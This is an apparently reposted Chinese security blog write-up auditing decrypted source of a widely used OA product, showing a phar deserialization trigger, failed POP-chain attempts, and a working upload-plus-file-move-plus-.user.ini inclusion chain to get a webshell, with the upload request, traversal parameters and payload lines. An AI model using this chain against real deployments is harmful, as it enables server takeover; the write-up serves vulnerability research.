记一次有趣的某达OA审计过程

admin 2024年10月22日21:35:23评论14 views字数 9881阅读32分56秒阅读模式

本文首发于先知论坛:https://xz.aliyun.com/t/15362

前言

因为一次偶然的机遇,拿到了某达OA的源码,用SeayDzend对源码进行了解密(如果不想手动解密的同学可以去下载这款工具进行解密)由于是某位同事直接发的压缩包我这里就不放链接了。这里审计的版本是v11.1x

phar反序列化

触发点

依旧是全局搜索phar反序列化的关键字,这里我有个审计思路分享,当环境搭建起来以后,我会结合网站和源码一起找到路由和文件对应的关系 如果环境没有搭建起来,先看看源码架构,看一下包含什么目录;从 index.php 开始跟踪分析包含的文件,看看有什么文件会处理路由,且观察到怎么处理,关于PHP代码审计,第一直觉是看看有没有可以直接利用的RCE,或者是任意文件写入等漏洞,如果忘记危险函数了可以去网上搜一下PHP命令执行漏洞相关的危险函数,这里不做过多描述

file_nums.php

根据vscode全局搜索定位到这个php文件路由:/general/netdisk/file_nums.php?DIR=phar://

<?php require_once "inc/auth.inc.php";include_once "inc/utility_file.php";include_once "inc/utility_all.php";ob_end_clean();$DIR = iconv2os($DIR);$msg = sprintf(_("共%d个文件"), dir_file_nums("$DIR"));echo $msg;?>

任意文件删除

POP链构造

SharedXMLWriter.php(失败)

失败原因

原因 :该XMLWriter.php中没有命名空间,反序列化调用不了该类

 public function __destruct()
 {
  if ($this->tempFileName != "") {
   @unlink($this->tempFileName);
  }
 }

总结1

寻找反序列化链的时候,需要先确定该类是否有命名空间

审计过程

链一
__destruct ->  close()  -> flush()  -> handleBatch() ->handle()
-->destruct (没有找到close)
-->close()

namespace Monolog;

class HandlerBufferHandler extends HandlerAbstractHandler

 public function close()
 {
  $this->flush();
 }
--> flush()
 public function flush()
 {
  if ($this->bufferSize === 0) {
   return NULL;
  }

  $this->handler->handleBatch($this->buffer);
  $this->clear();
 }
-->handleBatch()

HandlerAbstractHandler类

public function handleBatch($records)
 {
  foreach ($records as $record ) {
   $this->handle($record);
  }
 }
->handle()
incvendorMondogHandlerFingersCrossedHandler.php
HandlerFingersCrossedHandler
 public function handle($record)

  {

    if ($this->processors) {

      foreach ($this->processors as $processor ) {

        $record = Handlercall_user_func($processor$record);

      }

 }
链子二
--destruct -> close ->flush ->handleBatch -> processRecord -->
destruct(没有找到 close)
__close

namespace Monolog;

class HandlerBufferHandler extends HandlerAbstractHandler

 public function close()
 {
  $this->flush();
 }
__flush
 public function flush()
 {
  if ($this->bufferSize === 0) {
   return NULL;
  }

  $this->handler->handleBatch($this->buffer);
  $this->clear();
 }
handleBatch

namespace Monolog;

HandlerChromePHPHandler extends HandlerAbstractProcessingHandler

 public function handleBatch($records)
 {
  $messages = array();

  foreach ($records as $record ) {
   if ($record["level"] < $this->level) {
    continue;
   }

   $messages[] = $this->processRecord($record);
  }

  if (!empty($messages)) {
   $messages = $this->getFormatter()->formatBatch($messages);
   self::$json["rows"] = Handlerarray_merge(self::$json["rows"], $messages);
   $this->send();
  }
 }
processRecord

namespace Monolog;

HandlerAbstractProcessingHandler

 protected function processRecord($record)
 {
  if ($this->processors) {
   foreach ($this->processors as $processor ) {
    $record = Handlercall_user_func($processor$record);
   }
  }

  return $record;
 }

失败原因

  1. 第一步找 __destruct __close()的位置出错
    • 看走眼,以为close的对象可以控,this->close();看成 this->$object->close();
    • 也是不够清楚,$this->handle是不可控的,我当时把它误认为对象可控,导致继续找一个实现handle方法的类,浪费了时间。
    • 尝试过_call方法,但是没有成功
  2. 往下找链的时候,记录的链过程没有条理,容易出现混乱
  3. 找链过程中,查找过程,经常性归零 从__destruct重新开始 (找链过程记录不清晰)

总结2

  1. 找链中,第一时间排除没带命名空间的类作为节点

  2. 找链应该从 __destruct开始 往下延伸,每一步都做好记录。记录当前第几部,什么类满足条件,从该类扩展。画一条树状图,比如:

    __destruct
       class test1
       {
         public function __destruct()
         {
          $this->handler->method1();
         }
       }
       
    ->method1()
     class test2
     {
      public function method1()
      {
       echo "hello";
      }
     }
    ---------------------------
     class test3
     {
      public function method1()
      {
       exit(0);
      }
     }
    test1 -> test2 
    test1 -> test3

文件上传+文件移动+文件包含-->GETSHELL

文件上传分析

http://192.168.0.30/general/index.php?isIE=0&modify_pwd=0

在文件柜中会有批量上传的功能点,能够上传非PHP的任意文件

记一次有趣的某达OA审计过程
POST /module/upload/upload.php HTTP/1.1
Host: 192.168.20.155
Content-Length: 893
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBjizN8lhmbodA9BJ
Accept: */*
Origin: http://192.168.20.155
Referer: http://192.168.20.155/general/file_folder/folder.php?FILE_SORT=2&SORT_ID=0
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d6vfb3q7c6tge1n3lqfq93ng9t; USER_NAME_COOKIE=lijia; OA_USER_ID=2; SID_2=37ba94af; KEY_RANDOMDATA=15553
Connection: close

------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="module"

file_folder
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="name"

test.ini
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="type"

application/octet-stream
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="lastModifiedDate"

Thu Aug 01 2024 23:20:39 GMT+0800 (中国标准时间)
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="size"

27
------WebKitFormBoundaryBjizN8lhmbodA9BJ
Content-Disposition: form-data; name="Filedata"; filename="test.ini"
Content-Type: application/octet-stream

auto_prepend_file=hello.txt
------WebKitFormBoundaryBjizN8lhmbodA9BJ--

分析数据包:

module: 目录
name: 文件名  -- 内容上传文件名
filename: 文件名

前台抓包可以知道

moudleuploadupload.php处理的上传逻辑

upload.php

路径:moudleuploadupload.php

$ATTACH_NAME = $FILE_NAME;
$SEND_TIME = time();
$ATTACHMENTS = upload($new_name$modulefalse);

省略些代码,跟踪upload($new_name, $module, false)

utility_file.php

路径:incutility_file.php

upload()

function upload($PREFIX$MODULE$OUTPUT)
{
  /********上传的MODULE目录********/
  if (strstr($MODULE"/") || strstr($MODULE"\")) {
  if (!$OUTPUT) {
   return _("参数含有非法字符。");
  }
  Message(_("错误"), _("参数含有非法字符。"));
  exit();
  }
  /*******检测文件后缀*************/
  if (!is_uploadable($ATTACH_NAME)) {
   $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME".") + 1));
  }
  /*******

}

td_path_valid()

总结下:若目标路径是webroot,则必须也包含attachment

if ($func_name == "td_fopen") {
  $whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
  if (((strpos($source"webrootinc") !== false) || (strpos($source"webroot/inc") !== false)) && find_id($whitelist$basename)) {
   return true;
  }
 }

 if ((strpos($source"webroot") !== false) && (strpos($source"attachment") === false)) {
  return false;
 }
 else {
  return true;
 }

is_uploadable

总结下:上传的文件,不允许后缀名前三位是php

  $EXT_NAME = strtolower(substr($FILE_NAME$POS + 1));
  $EXT_NAME = filename_valid($EXT_NAME);
  if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
   return false;
  }

由于我们并不能上传.php文件,有任意文件上传的漏洞,咱们尝试能不能上传.user.ini.htaccess 对目标文件进行包含或者解析。

这里某达OA是nginx服务器,只能通过.user.ini来对 其它文件进行包含。

思路如下:上传hello.txt文件,上传.user.ini文件,给.user.ini文件下移个没有的 php文件。

文件移动函数的分析

源码

general/picture/rename_action_submit.php

路由:

/general/picture/rename_action_submit.php
<?php

require_once "inc/auth.inc.php";
include_once "inc/header.inc.php";
include_once "inc/utility_all.php";
include_once "inc/utility_file.php";

if (substr($PIC_PATH, -1, 1) == "/") {
 $CUR_DIR = $PIC_PATH . $SUB_DIR;
}
else {
 $CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;
}

if (stristr($FILE_NAME"/") || stristr($FILE_NAME"\") || stristr($FILE_NAME"?") || stristr($FILE_NAME"*") || stristr($FILE_NAME""") || stristr($FILE_NAME"<") || stristr($FILE_NAME":") || stristr($FILE_NAME">") || stristr($FILE_NAME"|")) {
 Message(_("错误"), _("参数含有非法字符。"));
 Button_Back();
 exit();
}

$CACHE_DIR_NAME_OLD = $CUR_DIR . "/tdoa_cache/" . $PIC_NAME;
$CACHE_DIR_NAME_MEDIUM_OLD = $CUR_DIR . "/tdoa_cache/medium_" . $PIC_NAME;
$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;
$FILE_TYPE = substr($PIC_NAME, strrpos($PIC_NAME"."));
$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH = $CUR_DIR . "/tdoa_cache/" . $NEW_NAME . $FILE_TYPE;
$CACHE_PIC_PATH_MEDIUM = $CUR_DIR . "/tdoa_cache/medium_" . $NEW_NAME . $FILE_TYPE;

if (file_exists(iconv2os($PIC_PATH_OLD))) {
 td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));
 td_rename(iconv2os($CACHE_DIR_NAME_OLD), iconv2os($CACHE_PIC_PATH));
 td_rename(iconv2os($CACHE_DIR_NAME_MEDIUM_OLD), iconv2os($CACHE_PIC_PATH_MEDIUM));
}

echo "<script>rnopener.location.reload();rnwindow.close();rn</script>";

?>

文件重命名操作

以第一条语句为例

td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));

若要实现文件移动: td_rename(Old_NAME, New_Name);

td_rename(iconv2os($PIC_PATH_OLD), iconv2os($PIC_PATH));

我们需要控制 $PIC_PATH_OLD,$PIC_PATH 分别为旧新文件名

文件路径控制

$CUR_DIR = $PIC_PATH . "/" . $SUB_DIR;

$PIC_PATH_OLD

$PIC_PATH_OLD = $CUR_DIR . "/" . $PIC_NAME;

$PIC_PATH

$PIC_PATH = $CUR_DIR . "/" . $NEW_NAME . $FILE_TYPE;

若实现:

旧文件

tonda/attach/file_folder/2408/17203783.hello.txt

新文件

/tonda /webroot/general/system/attachment/test/hello.txt

$PIC_PATH= ”/tonda";`

$PIC_NAME="/attach/file_folder/2408/17203783.hello.txt"; //旧文件后部分

$NEW_NAME=" /webroot/general/system/attachment/test/hello";//新文件后部分

补充

通过td_rename移动文件/目录到webroot目录下条件:目标路径必须包含attachment

td_rename ->is_uploadable ->td_path_valid

记一次有趣的某达OA审计过程

td_rename()记一次有趣的某达OA审计过程

is_uploadable()

记一次有趣的某达OA审计过程

td_path_valid()

记一次有趣的某达OA审计过程

移动的文件后缀不能 包含2a.php,所以我们得移动文件目录。

记一次有趣的某达OA审计过程

复现过程

上传.user.inihello.txt文件,造成文件上传 + 文件包含的漏洞

实现路径

1.上传 1.ini

auto_prepend_file=hello.txt

2.上传 hello.txt

<?php echo "hello"?>

3.将文件移动到可访问的目录

  • 1.ini -> /webroot/general/system/attachment/test/.user.ini

  • hello.txt ->  /webroot/general/system/attachment/test/.hello.txt

  • 2a.php ->  /webroot/general/system/attachment/test/2a.php

因为触发 .user.ini文件包含漏洞,需要存在一个php文件。在系统中找到一个满足条件的php,且不能影响业务逻辑。

webrootattachment,不能直接路由访问,不做业务处理,不影响业务逻辑。在webroot/attachment里面找到了php

记一次有趣的某达OA审计过程
记一次有趣的某达OA审计过程

存储在计算机中的文件名解密脚本

$ATTACHMENT_ID = '1231484566';
$ATTACHMENT_NAME = 'hello.txt';
echo $ATTACHMENT_ID ^ crc32($ATTACHMENT_NAME);

Content-Type:application/x-www-form-urlencoded

2a.php

移动整个目录

C:tondawebrootattachmentoffice_auto

/webroot/general/system/attachment/test/

NEW_NAME=../../general/system/attachment/test&PIC_PATH=/tonda/webroot/attachment/office_auto/

hello.txt移动到

/webroot/general/system/attachment/test/

PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.hello.txt&NEW_NAME=/webroot/general/system/attachment/test/hello

1.ini移动到 user.ini

/webroot/general/system/attachment/test/

PIC_PATH=/tonda&PIC_NAME=/attach/file_folder/2408/17203783.1.ini&NEW_NAME=/webroot/general/system/attachment/test/.user

POC1

记一次有趣的某达OA审计过程

POC2

记一次有趣的某达OA审计过程

POC3

记一次有趣的某达OA审计过程

至此,漏洞复现成功

原文始发于微信公众号(红细胞安全实验室):记一次有趣的某达OA审计过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月22日21:35:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次有趣的某达OA审计过程https://cn-sec.com/archives/3301619.html

发表评论

匿名网友 填写信息